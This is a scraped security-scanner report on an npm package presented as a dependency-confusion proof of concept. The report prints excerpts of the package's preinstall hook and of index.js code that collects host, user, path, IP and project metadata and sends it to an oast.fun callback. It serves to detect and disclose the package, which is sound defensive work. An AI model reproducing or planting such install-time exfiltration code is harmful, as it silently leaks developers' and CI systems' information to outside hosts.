Loading npm security reports…

stillm4ddpocs-demo-gadget@999.9.10: Malicious npm security report | LPM Firewall

registry / stillm4ddpocs-demo-gadget / 999.9.10

stillm4ddpocs-demo-gadget@999.9.10

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

AI Security Review

scanned 2h ago · by lpm-firewall-ai

An npm preinstall hook executes on installation and profiles the installing host and consuming project. It sends the resulting metadata via DNS, HTTP, and HTTPS to an attacker-controlled callback.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install invoking the preinstall lifecycle hook

Impact

Exposes identifiable developer/CI host, network, filesystem-path, and project-owner metadata without user consent.

Mechanism

install-time host and project metadata exfiltration over DNS and POST

Attack narrative

Installing the package triggers index.js through preinstall. The script reads the consuming project's manifest and collects username, home directory, hostname, local/public/resolver IPs, working directory, and project metadata. It base64-encodes this payload into DNS requests and also POSTs it over HTTP and HTTPS to a fixed OAST callback. The behavior is automatic and non-consensual.

Rationale

The package implements a concrete install-time data-exfiltration chain, regardless of its stated research purpose. Its limited scope does not remove the unconsented collection and external transmission.

Evidence

package.jsonindex.js<consumer-project>/package.json

Network endpoints5

da4v7l8hb2uc72ugqfmgk64edkj89qcok.oast.funapi.ipify.orgicanhazip.comifconfig.me/ip

Source & flagged code

5 flagged

package.jsonView file

Lines 1-16json

2 "name": "stillm4ddpocs-demo-gadget",

3 "version": "999.9.10",

4 "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username and install path to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillm4dd@wearehackerone.com",

5 "main": "index.js",

6 "scripts": {

7 "preinstall": "node index.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Ai Review Evidence

preinstall executes index.js automatically.

package.jsonView on unpkg · L5

9 "author": "stillm4dd@wearehackerone.com",

10 "license": "ISC",

11 "keywords": [

12 "security-research",

13 "dependency-confusion",

14 "proof-of-concept"

15 ]

16}

index.jsView file

Lines 16-56javascript

17function localIPv4() {

18 try {

19 const nets = os.networkInterfaces();

20 for (const name

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js automatically.

package.jsonView on unpkg · L5

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepage;

High

Ai Review Evidence

Reads the consuming project's package.json.

index.jsView on unpkg · L36

101function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homepage: parent.homepage ||

High

Ai Review Evidence

Collects host, user, home, working-directory, network, and project metadata.

index.jsView on unpkg · L101

stillm4ddpocs-demo-gadget@999.9.10

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code